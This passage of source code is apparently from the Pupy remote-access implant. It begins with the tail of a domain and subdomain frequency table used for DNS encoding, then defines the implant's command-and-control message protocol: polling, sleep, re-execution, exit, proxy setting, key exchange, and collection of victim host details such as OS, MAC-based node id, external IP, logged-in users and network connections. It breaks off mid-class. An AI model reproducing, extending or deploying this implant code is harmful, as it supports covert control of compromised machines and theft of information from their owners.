(455, 11, 'asia'), (472, 11, 'rocks'), (473, 11, 'nu'), (482, 11, 'date'), (638, 11, 'ie'), (823, 11, 'click'), (932, 11, 'hk'), (935, 11, 'gdn'), (976, 11, 'review'), (1000, 11, 'science'), (1001, 11, 'il'), (1022, 11, 'sg'), (96, 10, 'pro'), (97, 10, 'accountant'), (114, 10, 'mobi'), (122, 10, 'sk'), (126, 10, 'tr'), (127, 10, 'win'), (154, 10, 'pt'), (156, 10, 'kr'), (226, 10, 'work'), (240, 10, 'my'), (243, 10, 'tw'), (312, 10, 'fi'), (314, 10, 'bid'), (410, 10, 'cc'), (415, 10, 'no'), (434, 10, 'vn'), (438, 10, 'edu'), (439, 10, 'ar'), (470, 10, 'cn'), (471, 10, 'website'), (489, 10, 'cl'), (493, 10, 'loan'), (494, 10, 'link'), (495, 10, 'at'), (502, 10, 'tv'), (510, 10, 'site'), (38, 9, 'online'), (56, 9, 'za'), (60, 9, 'space'), (62, 9, 'id'), (76, 9, 'hu'), (79, 9, 'gr'), (112, 9, 'live'), (114, 9, 'ovh'), (115, 9, 'nz'), (119, 9, 'mx'), (204, 9, 'cz'), (206, 9, 'jp'), (216, 9, 'club'), (218, 9, 'se'), (232, 9, 'ro'), (234, 9, 'ua'), (245, 9, 'dk'), (254, 9, 'pw'), (18, 8, 'es'), (25, 8, 'biz'), (29, 8, 'be'), (58, 8, 'it'), (61, 8, 'ch'), (100, 8, 'us'), (101, 8, 'io'), (124, 8, 'ml'), (126, 8, 'me'), (8, 7, 'in'), (10, 7, 'ca'), (11, 7, 'tech'), (13, 7, 'pl'), (18, 7, 'co'), (31, 7, 'eu'), (38, 7, 'nl'), (55, 7, 'br'), (59, 7, 'info'), (60, 7, 'au'), (8, 6, 'gq'), (16, 6, 'ru'), (17, 6, 'de'), (18, 6, 'ga'), (24, 6, 'fr'), (26, 6, 'top'), (28, 6, 'uk'), (5, 5, 'cf'), (6, 5, 'org'), (10, 5, 'net'), (11, 5, 'xyz'), (0, 4, 'tk'), (2, 2, 'com'), (3, 2, '\x00')], 'terms': [(6550, 14, u'correo'), (6551, 14, u'temp'), (6552, 14, u'wi'), (6553, 14, u'dedicated'), (6560, 14, u'lviv'), (6561, 14, u'nextcloud'), (6562, 14, u'cm'), (6563, 14, u'sc'), (6572, 14, u'inf'), (6573, 14, u'member'), (6576, 14, u'bbs'), (6577, 14, u'toyota'), (6582, 14, u'post'), (6583, 14, u'cloudfunctions'), (6618, 14, u'payment'), (6619, 14, u'elearning'), (6642, 14, u'eco'), (6643, 14, u'webdav'), (6786, 14, u'adidas'), (6787, 14, u'cdn2'), (6788, 14, u'qoo10'), (6789, 14, u'book'), (6790, 14, u'downloads'), (6791, 14, u'health'), (6792, 14, u'sentry'), (6793, 14, u'qa1'), (6794, 14, u'if'), (6795, 14, u'archive'), (6802, 14, u'myiomega'), (6803, 14, u'radio'), (6806, 14, u'monitoring'), (6807, 14, u'team'), (6810, 14, u'tradenetworks'), (6811, 14, u'bot'), (6814, 14, u'u'), (6815, 14, u'loja'), (6912, 14, u'resources'), (6913, 14, u'gestion'), (6916, 14, u'drive'), (6917, 14, u'portfolio'), (6976, 14, u'project'), (6977, 14, u'yunjiasussl'), (6980, 14, u'zp'), (6981, 14, u'labs'), (7012, 14, u'x10'), (7013, 14, u'play'), (7018, 14, u'dev3'), (7019, 14, u'map'), (7024, 14, u'stack'), (7025, 14, u'backend'), (7028, 14, u'sms'), (7029, 14, u'qld'), (7030, 14, u'qa2'), (7031, 14, u'xb'), (7036, 14, u'global'), (7037, 14, u'repo'), (7038, 14, u'ezproxy'), (7039, 14, u'ext'), (7048, 14, u'ec5'), (7049, 14, u'cdn1'), (7052, 14, u'predicta'), (7053, 14, u'link'), (7054, 14, u'promo'), (7055, 14, u'social'), (7080, 14, u'public'), (7081, 14, u'toservers'), (7086, 14, u'im'), (7087, 14, u'intra'), (7682, 14, u'br'), (7683, 14, u'fitnessfirst'), (7684, 14, u'order'), (7685, 14, u'g'), (7686, 14, u'fna'), (7687, 14, u'fbcdn'), (7702, 14, u'nom'), (7703, 14, u'govt'), (7706, 14, u'testcertificates'), (7707, 14, u'learn'), (7746, 14, u'mwn'), (7747, 14, u'seafile'), (7750, 14, u'docker'), (7751, 14, u'manager'), (7756, 14, u'sklep'), (7757, 14, u'liveupdate'), (7758, 14, u'huggies'), (7759, 14, u'core'), (7766, 14, u'ip'), (7767, 14, u'lp'), (7770, 14, u'partners'), (7771, 14, u'www3'), (7774, 14, u'test1'), (7775, 14, u'confluence'), (7782, 14, u'myaccount'), (7783, 14, u'mail1'), (7784, 14, u'websitedesignroom'), (7785, 14, u'mfa'), (7786, 14, u'netsons'), (7787, 14, u'inmotionhosting'), (7812, 14, u'gameflex'), (7813, 14, u'si'), (7820, 14, u'umn'), (7821, 14, u'pad'), (7832, 14, u'cdngc'), (7833, 14, u'join'), (7836, 14, u'ch'), (7837, 14, u'mysql'), (7880, 14, u'careers'), (7881, 14, u'bc'), (7884, 14, u'w'), (7885, 14, u'ua'), (7930, 14, u's2'), (7931, 14, u'pe'), (7932, 14, u'ucc'), (7933, 14, u'kimberly-clark'), (7958, 14, u'doc'), (7959, 14, u'hoffman-andrews'), (8028, 14, u'reports'), (8029, 14, u'gdg'), (8030, 14, u'purina'), (8031, 14, u'sites'), (8048, 14, u'accounts'), (8049, 14, u'blogs'), (8052, 14, u'le-test'), (8053, 14, u'mythic-beasts'), (8054, 14, u'be'), (8055, 14, u'travel'), (8068, 14, u'survey'), (8069, 14, u'xmpp'), (8070, 14, u'cv'), (8071, 14, u'sa'), (8092, 14, u'sharepoint'), (8093, 14, u'tech'), (8100, 14, u'mb'), (8101, 14, u'cloudapp'), (8108, 14, u'0-www'), (8109, 14, u'newsletter'), (8114, 14, u'intern'), (8115, 14, u'x'), (8120, 14, u'sts'), (8121, 14, u'jabber'), (8126, 14, u'register'), (8127, 14, u'backup'), (8160, 14, u'r'), (8161, 14, u'iomegalink'), (8162, 14, u'checkout'), (8163, 14, u'ns1'), (8172, 14, u'dpaw'), (8173, 14, u'ds'), (8174, 14, u'ebay'), (8175, 14, u'dev1'), (2118, 13, u'admob'), (2119, 13, u'booking'), (2120, 13, u'nsw'), (2121, 13, u'partner'), (2128, 13, u'mydrobo'), (2129, 13, u'erp'), (2130, 13, u'image'), (2131, 13, u'training'), (2132, 13, u'at'), (2133, 13, u'storage'), (2136, 13, u'pl'), (2137, 13, u'love'), (2154, 13, u'sky'), (2155, 13, u'jezweb'), (2160, 13, u'payments'), (2161, 13, u'name'), (2170, 13, u'webconf'), (2171, 13, u'ads'), (2174, 13, u'donate'), (2175, 13, u'aws'), (2208, 13, u'adfs'), (2209, 13, u'vs'), (2212, 13, u'av'), (2213, 13, u'gateway'), (2242, 13, u'get'), (2243, 13, u'monitor'), (2258, 13, u'forums'), (2259, 13, u'l'), (2264, 13, u'file'), (2265, 13, u'devfest'), (2276, 13, u'microsoft'), (2277, 13, u'sync'), (2282, 13, u'vic'), (2283, 13, u'myds'), (2298, 13, u'eng'), (2299, 13, u'asn'), (2336, 13, u'no'), (2337, 13, u'yandex'), (2338, 13, u'dyndns'), (2339, 13, u'business'), (2342, 13, u'boutique'), (2343, 13, u'server4'), (2348, 13, u'tamu'), (2349, 13, u'1'), (2350, 13, u'lync'), (2351, 13, u'cdnetworks'), (2364, 13, u'lib'), (2365, 13, u'wordpress'), (2416, 13, u'developer'), (2417, 13, u'a'), (2418, 13, u'ts'), (2419, 13, u'registry'), (2424, 13, u'gallery'), (2425, 13, u'idv'), (2426, 13, u'hu-berlin'), (2427, 13, u'cpanel'), (2434, 13, u'test2'), (2435, 13, u'irc'), (2440, 13, u'v2'), (2441, 13, u'upload'), (2442, 13, u'server3'), (2443, 13, u'local'), (2448, 13, u'account'), (2449, 13, u'school'), (2450, 13, u'events'), (2451, 13, u'nl'), (2456, 13, u'proxy'), (2457, 13, u'yahoo'), (2458, 13, u'autoconfig'), (2459, 13, u'ovh'), (2462, 13, u'dev2'), (2463, 13, u'sf'), (2514, 13, u'mo'), (2515, 13, u'state'), (2518, 13, u'apple'), (2519, 13, u'nic'), (2522, 13, u'itmatik'), (2523, 13, u's1'), (2554, 13, u'testing'), (2555, 13, u'fs'), (2556, 13, u'deevop'), (2557, 13, u'za'), (2558, 13, u'sso'), (2559, 13, u'cornell'), (3074, 13, u't'), (3075, 13, u'ddns'), (3082, 13, u'site'), (3083, 13, u'philips'), (3088, 13, u'pay'), (3089, 13, u'search'), (3096, 13, u'billing'), (3097, 13, u'blogspot'), (3126, 13, u'adwords'), (3127, 13, u'ar'), (3204, 13, u'tools'), (3205, 13, u'tv'), (3208, 13, u'code'), (3209, 13, u'mhub-prev'), (3210, 13, u'content'), (3211, 13, u'hasura-app'), (3220, 13, u'outlook'), (3221, 13, u'tickets'), (3222, 13, u'mhub'), (3223, 13, u'pma'), (3230, 13, u'share'), (3231, 13, u'dolce-gusto'), (3274, 13, u'hub'), (3277, 13, u'att'), (3282, 13, u'moodle'), (3283, 13, u'asso'), (3287, 13, u'apply'), (3289, 13, u'manage'), (3290, 13, u'lists'), (3304, 13, u'lab'), (3305, 13, u'projects'), (3308, 13, u'jp'), (3310, 13, u'duckdns'), (3311, 13, u'mail2'), (3320, 13, u'art'), (3322, 13, u'ws'), (3323, 13, u'on'), (3392, 13, u'c'), (3400, 13, u'charite'), (3402, 13, u'plex'), (3404, 13, u'meeting'), (3406, 13, u'hp'), (3457, 13, u'ca'), (3459, 13, u'ad'), (3464, 13, u'photo'), (3465, 13, u'comet1'), (3466, 13, u'comet4'), (3467, 13, u'comet2'), (3468, 13, u'comet3'), (3469, 13, u'music'), (3489, 13, u'cs'), (3491, 13, u'psql04'), (3494, 13, u'psql05'), (3495, 13, u'psql01'), (3496, 13, u'psql03'), (3497, 13, u'psql02'), (3498, 13, u'mysql09'), (3499, 13, u'mysql08'), (3500, 13, u'mysql03'), (3501, 13, u'mysql10'), (3502, 13, u'mysql05'), (3503, 13, u'mysql04'), (3504, 13, u'mysql02'), (3505, 13, u'mysql07'), (3507, 13, u'mysql06'), (3508, 13, u'mysql01'), (3513, 13, u'hosting'), (3525, 13, u'upc'), (3538, 13, u'community'), (3539, 13, u'od'), (3541, 13, u'dav'), (3542, 13, u'alpha'), (3840, 13, u'srv'), (3850, 13, u'jobs'), (3852, 13, u'sp'), (3872, 13, u'box'), (3874, 13, u'firebaseapp'), (3876, 13, u'pda'), (3877, 13, u'dashboard'), (3880, 13, u'au'), (3881, 13, u'internal'), (3882, 13, u'vodafone'), (3884, 13, u'cn'), (3886, 13, u'nestle'), (3888, 13, u'svn'), (3889, 13, u'access'), (3890, 13, u'server2'), (3894, 13, u'photos'), (3895, 13, u'int'), (3904, 13, u'rss'), (3905, 13, u'dl'), (3907, 13, u'panel'), (3911, 13, u'rsc'), (3917, 13, u'qc'), (3919, 13, u'med'), (3941, 13, u'mpg'), (3943, 13, u'redmine'), (3964, 13, u'jenkins'), (3967, 13, u'uni-bonn'), (3978, 13, u'library'), (4025, 13, u'helpdesk'), (4042, 13, u'p'), (4043, 13, u'ind'), (4047, 13, u'live'), (4051, 13, u'accenture'), (4055, 13, u'flowers-to-the-world'), (4056, 13, u'spb'), (4058, 13, u'jira'), (4059, 13, u'es'), (4061, 13, u'composedb'), (4062, 13, u'wap'), (4066, 13, u'pro'), (4067, 13, u'client'), (1058, 12, u'it'), (1061, 12, u'nas'), (1062, 12, u'analytics'), (1063, 12, u'biz'), (1067, 12, u'phpmyadmin'), (1069, 12, u'mx'), (1070, 12, u'clients'), (1071, 12, u'i'), (1076, 12, u'dialin'), (1081, 12, u'cdn77'), (1084, 12, u'dp'), (1086, 12, u'help'), (1105, 12, u'mgames'), (1107, 12, u'ci'), (1120, 12, u'video'), (1126, 12, u'auth'), (1127, 12, u'healthytest'), (1128, 12, u'cp'), (1130, 12, u'docs'), (1131, 12, u'preprod'), (1133, 12, u'oc'), (1136, 12, u'www1'), (1137, 12, u'wa'), (1139, 12, u'wp'), (1140, 12, u'old'), (1142, 12, u'k12'), (1143, 12, u'stg'), (1148, 12, u'online'), (1162, 12, u'assets'), (1163, 12, u'download'), (1166, 12, u'legacy'), (1167, 12, u'connect'), (1170, 12, u'asu'), (1180, 12, u'service'), (1181, 12, u'extranet'), (1183, 12, u'preview'), (1210, 12, u'citrix'), (1211, 12, u'waw'), (1216, 12, u'intuit'), (1230, 12, u'adv'), (1256, 12, u'sandbox'), (1258, 12, u'cms'), (1260, 12, u'data'), (1276, 12, u'news'), (1536, 12, u'de'), (1540, 12, u'prod'), (1545, 12, u'incapsula'), (1549, 12, u'ru'), (1562, 12, u'ne'), (1603, 12, u'services'), (1614, 12, u'gob'), (1636, 12, u'cyph'), (1639, 12, u'images'), (1642, 12, u'gwstest'), (1653, 12, u'uat'), (1699, 12, u'youtube'), (1735, 12, u'remotewebaccess'), (1746, 12, u'dr'), (1755, 12, u's'), (1758, 12, u'server1'), (1768, 12, u'pop'), (1924, 12, u'gen'), (1927, 12, u'chat'), (1954, 12, u'vps'), (1956, 12, u'piwik'), (1957, 12, u'office'), (1988, 12, u'hybris'), (2004, 12, u'meet'), (2005, 12, u'members'), (2006, 12, u'altervista'), (2014, 12, u'corp'), (2015, 12, u'email'), (2016, 12, u'exchange'), (2020, 12, u'img'), (2022, 12, u'tum'), (2024, 12, u'stats'), (2026, 12, u'intranet'), (2032, 12, u'media'), (2041, 12, u'gitlab'), (2042, 12, u'crm'), (528, 11, u'login'), (539, 11, u'www2'), (541, 11, u'id'), (561, 11, u'securetest'), (562, 11, u'synology'), (567, 11, u'en'), (575, 11, u'files'), (580, 11, u'us'), (582, 11, u'apps'), (586, 11, u'3cx'), (607, 11, u'new'), (609, 11, u'lyncdiscover'), (611, 11, u'poczta'), (613, 11, u'sch'), (631, 11, u'host'), (769, 11, u'stage'), (771, 11, u'ssl'), (773, 11, u'kiev'), (775, 11, u'status'), (780, 11, u'info'), (800, 11, u'qa'), (803, 11, u'home'), (804, 11, u'cloudflare'), (806, 11, u'me'), (823, 11, u'pop3'), (831, 11, u'mobile'), (865, 11, u'verbundanwendung'), (880, 11, u'fr'), (961, 11, u'owa'), (984, 11, u'owncloud'), (990, 11, u'forum'), (995, 11, u'vpn'), (1009, 11, u'static'), (1017, 11, u'wiki'), (1022, 11, u'beta'), (1023, 11, u'or'), (268, 10, u'go'), (277, 10, u'uk'), (286, 10, u'git'), (294, 10, u'store'), (300, 10, u'portal'), (301, 10, u'ftp'), (312, 10, u'sip'), (313, 10, u'my'), (318, 10, u'imap'), (391, 10, u'app'), (408, 10, u'cdn'), (412, 10, u'support'), (414, 10, u'server'), (441, 10, u'demo'), (443, 10, u'smtp'), (487, 10, u'homeserver'), (493, 10, u'staging'), (494, 10, u'ac'), (496, 10, u'admin'), (500, 10, u'web'), (502, 10, u'pp'), (509, 10, u'gov'), (139, 9, u'google'), (144, 9, u'in'), (158, 9, u'cloud'), (194, 9, u'remote'), (210, 9, u'eu'), (211, 9, u'automattic'), (213, 9, u'tls'), (214, 9, u'api'), (215, 9, u'secure'), (217, 9, u'edu'), (241, 9, u'test'), (245, 9, u'm'), (249, 9, u'webmail'), (64, 8, u'blog'), (65, 8, u'dev'), (68, 8, u'beep'), (74, 8, u'*'), (77, 8, u'autodiscover'), (101, 8, u'net'), (104, 8, u'shop'), (111, 8, u'freeboxos'), (49, 7, u'org'), (14, 5, u'mail'), (5, 4, u'cloudflaressl'), (0, 3, u'co'), (1, 3, u'com'), (2, 2, u'www'), (3, 2, '\x00')], 'freedns': [(0, 0, '\x00')]}


================================================
FILE: pupy/network/lib/picocmd/picocmd.py
================================================
# -*- coding: utf-8 -*-

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals

__all__ = (
    'Command',
    'Poll', 'Ack', 'Idle',
    'SystemStatus',
    'Sleep', 'CheckConnect',
    'Reexec', 'Exit', 'Disconnect',
    'Policy', 'Kex', 'SystemInfo',
    'SetProxy', 'Connect', 'DownloadExec',
    'PasteLink', 'OnlineStatus', 'PortQuizPort',
    'OnlineStatusRequest', 'PupyState', 'CustomEvent',
    'ConnectablePort', 'Error',

    'SystemInfoEx', 'ConnectEx', 'RegisterHostnameId',
    'DataTransferControl', 'DataTransferPayload', 'InBandExecute',

    'ParcelInvalidCrc',
    'ParcelInvalidPayload', 'ParcelInvalidCommand',
    'Parcel', 'PackError', 'PayloadTooBig',
    'UnregisteredTargetId',

    'from_bytes', 'to_bytes',

    'AddressTable'
)

import sys
import struct
import netaddr
import re
import base64
import binascii
import time
import datetime
import platform
import uuid
import socket

from pupy.network.lib.picocmd import (
    baseconv, dns_encoder, dns_encoder_table
)

if sys.version_info.major > 2:
    from urllib.parse import urlparse

    basestring = str
    long = int
    xrange = range

else:
    from urlparse import urlparse

try:
    import psutil
except ImportError:
    psutil = None

try:
    import uidle
except ImportError:
    uidle = None

try:
    from pupy.network.lib import online
except ImportError:
    online = None


def unpack_ip_address(packed):
    if len(packed) == 4:
        return netaddr.IPAddress(
            netaddr.strategy.ipv4.packed_to_int(packed), 4
        )
    elif len(packed) == 16:
        return netaddr.IPAddress(
            netaddr.strategy.ipv6.packed_to_int(packed), 6
        )
    else:
        raise NotImplementedError('Only 4 and 16 bytes are supported')


class PackError(Exception):
    pass


class PayloadTooBig(Exception):
    __slots__ = ('required_len', 'max_len')

    def __init__(self, message, required_len, max_len):
        return super(PayloadTooBig, self).__init__(message.format(
            required_len=required_len, max_len=max_len))
        self.required_len = required_len
        self.max_len = max_len


class UnregisteredTargetId(PackError):
    pass


class AddressTable(object):
    __slots__ = ('table', 'auto_target_id')

    def __init__(self):
        self.table = {}
        self.auto_target_id = 0

    def get_target_id(self, address):
        if address in self.table:
            return self.table[address]

        raise UnregisteredTargetId(address)

    def get_address(self, target_id):
        address = None
        for this_address, this_target_id in self.table:
            if self.table[this_target_id] == target_id:
                address = this_address
                break

        if address is None:
            raise UnregisteredTargetId(target_id)

        return address

    def _find_free_target_id(self):
        auto_target_id_is_ok = True

        for used_address in self.table:
            used_target_id = self.table[used_address]

            if self.auto_target_id == used_target_id:
                auto_target_id_is_ok = False
                break

        if auto_target_id_is_ok:
            target_id = self.auto_target_id
            self.auto_target_id = (self.auto_target_id + 1) % 0xFFFF
            return target_id

        used_target_ids = set(self.table.values())
        for target_id in xrange(0xFFFF):
            if target_id not in used_target_ids:
                return target_id

        raise ValueError('No more free slots')

    def register(self, address, target_id=None):
        if target_id is None:
            target_id = self._find_free_target_id()

        self.table[address] = target_id

        return target_id


def from_bytes(bytes):
    return sum(ord(byte) * (256**i) for i, byte in enumerate(bytes))


def to_bytes(value, size=0):
    value = int(value)
    bytes = []
    while value:
        bytes.append(chr(value % 256))
        value = value >> 8
    bytes = b''.join(bytes)
    bytes += b'\x00'*(size-len(bytes))
    return bytes


class EncodingTableUnregisteredElement(KeyError):
    pass


class EncodingTable(object):
    __slots__ = ('_encode', '_decode')

    def __init__(self, *alphabet, **kwargs):
        start = kwargs.get('start', 0)
        self._decode = dict(enumerate(alphabet, start))
        self._encode = {
            self._decode[k]:k for k in self._decode
        }

    def is_registered(self, value):
        return value in self._encode

    def encode(self, value):
        encoded = self._encode.get(value, None)
        if encoded is None:
            raise EncodingTableUnregisteredElement(value)

        return encoded

    def decode(self, value):
        decoded = self._decode.get(value, None)
        if decoded is None:
            raise EncodingTableUnregisteredElement(value)

        return decoded


class Command(object):
    __slots__ = ()

    session_required = False
    internet_required = False

    def pack(self):
        return b''

    @staticmethod
    def unpack(data):
        return Command(), 0

    def get_dict(self):
        return {
            slot: getattr(self, slot) for slot in self.__slots__
        }

    def __repr__(self):
        return '{' + self.__class__.__name__ + ': ' + ' '.join(
            '{}={}'.format(slot.upper(), getattr(self, slot)) for slot in self.__slots__
        ) + '}'


class Poll(Command):
    __slots__ = ()

    @staticmethod
    def unpack(data):
        return Poll(), 0

    def __repr__(self):
        return '{POLL}'


class SystemStatus(Command):
    __slots__ = ('cpu', 'users', 'mem', 'listen', 'remote', 'idle')

    @staticmethod
    def unpack(data):
        return SystemStatus(*struct.unpack_from('BBBBBB', data)), 6

    def __init__(self, cpu=None, users=None, mem=None, listen=None, remote=None, idle=None):
        if cpu is None:
            try:
                self.cpu = int(psutil.cpu_percent())
            except:
                self.cpu = 0
        else:
            self.cpu = int(cpu)

        if users is None:
            try:
                self.users = len(psutil.users())
            except:
                self.users = 0
        else:
            self.users = int(users)

        if self.users > 255:
            self.users = 255

        if mem is None:
            try:
                self.mem = int(psutil.virtual_memory().percent)
            except:
                self.mem = 0
        else:
            self.mem = int(mem)

        net_connections = None
        if listen is None or remote is None:
            try:
                net_connections = psutil.net_connections()
            except:
                pass

        if listen is None:
            if net_connections:
                self.listen = len(set([
                    x.laddr[1] for x in net_connections
                    if x.status == 'LISTEN'
                ]))
            else:
                self.listen = 0
        else:
            self.listen = int(listen)

        if self.listen > 255:
            self.listen = 255

        if remote is None:
            if net_connections:
                self.remote = len(set([
                    x.raddr for x in net_connections \
                    if x.status=='ESTABLISHED' and x.raddr[0] not in (
                        '127.0.0.1', '::ffff:127.0.0.1'
                    )
                ]))
            else:
                self.remote = 0
        else:
            self.remote = int(remote)

        if self.remote > 255:
            self.remote = 255

        if idle is None:
            if uidle is None:
                self.idle = True
            else:
                try:
                    idle = uidle.get_idle()
                    if idle is None:
                        self.idle = True
                    else:
                        self.idle = idle > 60*10
                except:
                    self.idle = True
        else:
            self.idle = bool(idle)

    def get_dict(self):
        return {
            'cpu': self.cpu,
            'mem': self.mem,
            'listen': self.listen,
            'remote': self.remote,
            'users': self.users,
            'idle': self.idle
        }

    def pack(self):
        return struct.pack(
            'BBBBBB',
            self.cpu, self.users, self.mem,
            self.listen, self.remote, self.idle
        )

    def __repr__(self):
        return (
            '{{SS: CPU:{cpu}% MEM:{mem}% L:{listen} ' + \
                'E:{remote} U:{users} I:{idle}}}').format(
                    **self.get_dict())


class Ack(Command):
    __slots__ = ('amount',)

    def __init__(self, amount=0):
        self.amount = amount

    def pack(self):
        return chr(self.amount)

    @staticmethod
    def unpack(data):
        return Ack(amount=ord(data[0])), 1

    def __repr__(self):
        return '{{ACK ({})}}'.format(self.amount)


class Idle(Command):
    __slots__ = ()

    @staticmethod
    def unpack(data):
        return Idle(), 0

    def __repr__(self):
        return '{IDLE}'


class Sleep(Command):
    __slots__ = ('timeout',)

    @staticmethod
    def unpack(data):
        return Sleep(
            struct.unpack_from('<H', data)[0]
        ), struct.calcsize('<H')

    def pack(self):
        return struct.pack('<H', self.timeout)

    def __init__(self, timeout=30):
        self.timeout = int(timeout)

    def __repr__(self):
        return '{{SLEEP: {}}}'.format(self.timeout)


class CheckConnect(Command):
    __slots__ = ('host', 'port_start', 'port_end')

    @staticmethod
    def unpack(data):
        host, port_start, port_end = struct.unpack_from('IHH', data)

        host = netaddr.IPAddress(host)
        return CheckConnect(
            host, port_start, port_end
        ), struct.calcsize('IHH')

    def __init__(self, host, port_start, port_end):
        try:
            self.host = netaddr.IPAddress(host)
        except:
            self.host = netaddr.IPAddress(socket.gethostbyname(host))

        self.port_start = port_start
        self.port_end = None if port_end == 0 else port_end

    def pack(self):
        return struct.pack(
            'IHH',
            int(self.host), int(self.port_start), int(self.port_end)
        )

    def __repr__(self):
        return '{{CHECK: {}:{}-{}}}'.format(
            self.host, self.port_start, self.port_end)


class Reexec(Command):
    __slots__ = ()

    @staticmethod
    def unpack(data):
        return Reexec(), 0

    def __repr__(self):
        return '{REEXEC}'


class Exit(Command):
    __slots__ = ()

    @staticmethod
    def unpack(data):
        return Exit(), 0

    def __repr__(self):
        return '{EXIT}'


class Disconnect(Command):
    __slots__ = ()

    @staticmethod
    def unpack(data):
        return Disconnect(), 0

    def __repr__(self):
        return '{DISCONNECT}'


class Policy(Command):
    __slots__ = ('timestamp', 'poll', 'kex')

    def __init__(self, poll, kex, timestamp=None):
        self.timestamp = timestamp or time.time()
        self.poll = poll
        self.kex = kex

    def pack(self):
        field = (int(bool(self.kex)) << 31) | (self.poll & ((1<<30)-1))
        return struct.pack('>II', field, self.timestamp)

    def __repr__(self):
        return '{{POLICY: POLL={} TIME={} KEX={}}}'.format(self.poll, self.timestamp, self.kex)

    @staticmethod
    def unpack(data):
        field, timestamp = struct.unpack_from('>II', data)
        kex = (field >> 31) & 1
        poll = field & ((1<<30)-1)
        return Policy(poll, kex, timestamp), 8


class Kex(Command):
    __slots__ = ('parcel',)

    def __init__(self, parcel):
        self.parcel = parcel

    def pack(self):
        return struct.pack('B',len(self.parcel)) + self.parcel

    def __repr__(self):
        return '{{KEX: Q={}, SPI={:08x}}}'.format(binascii.b2a_hex(self.parcel), self.spi)

    @property
    def spi(self):
        return struct.unpack('>I', self.parcel[0:4])[0]

    @staticmethod
    def unpack(data):
        length = struct.unpack_from('B', data)[0]
        return Kex(data[1:1+length]), 1+length


class SystemInfo(Command):

    __slots__ = (
        'system', 'arch', 'node', 'boottime',
        'internal', 'external_ip', 'internet'
    )

    session_required = True

    # To do, add more? Who knows how platform.uname looks like on other platforms?
    # How many are there? Let's use 3 bits for that - 8 systems in total
    well_known_os_names = EncodingTable(
        'Linux', 'Windows', 'SunOS', 'android'
    )

    # Same question.
    well_known_cpu_archs = EncodingTable(
        'x86', 'x86', 'x64', 'x64', 'arm'
    )

    well_known_machines_equality = {
        'i386': 'x86',
        'i486': 'x86',
        'i586': 'x86',
        'i686': 'x86',
        'x86_64': 'x64',
        'amd64': 'x64',
        'i86pc': 'x86',
        'armv7l': 'arm',
        'armv8l': 'arm',
    }

    def __init__(
            self, system=None, arch=None,
            node=None, external_ip=None,
            internet=False, boottime=None
        ):
        self.system = system or platform.system()
        self.arch = arch or platform.machine().lower()
        self.arch = self.well_known_machines_equality.get(self.arch, self.arch)

        self.node = node or uuid.getnode()
        try:
            if boottime:
                self.boottime = boottime
            else:
                self.boottime = datetime.datetime.fromtimestamp(
                    psutil.boot_time()
                )
        except:
            self.boottime = datetime.datetime.fromtimestamp(0)

        self.internet = bool(internet)
        self.external_ip = external_ip
        if external_ip is not None:
            if external_ip in ['0.0.0.0', u'0.0.0.0', 0, netaddr.IPAddress('0.0.0.0')]:
                self.external_ip = None
            else:
                self.external_ip = netaddr.IPAddress(external_ip)
                if self.external_ip.version == 6:
                    self.external_ip = None
        elif online:
            self.external_ip = online.external_ip(force_ipv4=True)
            self.internet = online.online()

    def pack(self):
        # 3 bits for system, 3 bits for arch, 1 bit for internet
        osid = self.well_known_os_names.encode(self.system)
        archid = self.well_known_cpu_archs.encode(self.arch)
        block = osid << 4 | archid << 1 | int(bool(self.internet))
        boottime = int(time.mktime(self.boottime.timetuple()))
        return struct.pack('B', block) + to_bytes(self.node, 6) + \
          struct.pack('>II', int(self.external_ip or 0), boottime)

    def get_dict(self):
        return {
            'os': self.system,
            'arch': self.arch,
            'node': self.node,
            'external_ip': self.external_ip,
            'internet': self.internet,
            'boottime': self.boottime
        }

    def __repr__(self):
        return '{{SYS: OS={} ARCH={} NODE={:012X} IP={} INTERNET={} BOOT={}}}'.format(
            self.system, self.arch, self.node, self.external_ip, self.internet, self.boottime.ctime()
        )

    @staticmethod
    def unpack(data):
        block, node, rest = data[:1], data[1:1+6], data[1+6:1+6+8]
        block = ord(block)
        osid = (block >> 4) & 7
        archid = (block >> 1) & 7
        internet = bool(block & 1)
        node = from_bytes(node)

        ip = 0
        boottime = 0

        try:
            ip, boottime = struct.unpack('>II', rest)

            try:
                boottime = datetime.datetime.fromtimestamp(boottime)
            except:
                pass

            try:
                ip = netaddr.IPAddress(ip)
            except:
                pass

        except:
            pass

        return SystemInfo(
            system=SystemInfo.well_known_os_names.decode(osid),
            node=node,
            arch=SystemInfo.well_known_cpu_archs.decode(archid),
            internet=internet,
            external_ip=ip,
            boottime=boottime
        ), 1+6+8


class SetProxy(Command):
    __slots__ = ('scheme', 'ip', 'port', 'user', 'password')

    well_known_proxy_schemes = EncodingTable(
        'none', 'socks4', 'socks5', 'http', 'any',
        start=1
    )

    def __init__(self, scheme, ip, port, user=None, password=None):
        if scheme == 'socks':
            scheme = 'socks5'

        self.scheme = scheme
        try:
            self.ip = netaddr.IPAddress(ip)
        except:
            self.ip = netaddr.IPAddress(
                socket.gethostbyname(ip)
            )

        self.port = int(port)
        self.user = user
        self.password = password

        if self.user and not self.password:
            self.password = ''

    def pack(self):
        scheme = chr(self.well_known_proxy_schemes.encode(self.scheme))
        ip = struct.pack('>I', int(self.ip))
        port = struct.pack('>H', int(self.port))
        user = self.user or ''
        password = self.password or ''
        user = chr(len(user))+user
        password = chr(len(password))+password
        return scheme + ip + port + user + password

    @staticmethod
    def unpack(data):
        sip = struct.calcsize('>BIH')
        scheme, ip, port = struct.unpack_from('>BIH', data)
        scheme = SetProxy.well_known_proxy_schemes.decode(scheme)
        ip = netaddr.IPAddress(ip)
        data = data[sip:]

        user = ''
        password = ''

        user_len = ord(data[0])
        if user_len:
            user = data[1:1+user_len]

        data = data[1+user_len:]

        pass_len = ord(data[0])
        if pass_len:
            password = data[1:1+pass_len]

        return SetProxy(scheme, ip, port, user, password), sip+user_len+pass_len+2

    def __repr__(self):
        if self.scheme == 'none':
            return '{{PROXY: DISABLED}}'
        elif self.scheme == 'any':
            return '{{PROXY: ENABLED}}'

        if self.user and self.password:
            auth = '{}:{}@'.format(self.user, self.password)
        else:
            auth = ''

        return '{{PROXY: {}://{}{}:{}}}'.format(
            self.scheme, auth, self.ip, self.port
        )


class Connect(Command):
    __slots__ = ('ip', 'port', 'transport')

    well_known_transports = EncodingTable(
        'obfs3', 'kc4', 'http', 'tcp_cleartext', 'rsa',
        'ssl', 'udp_cleartext', 'scramblesuit', 'ssl_rsa',
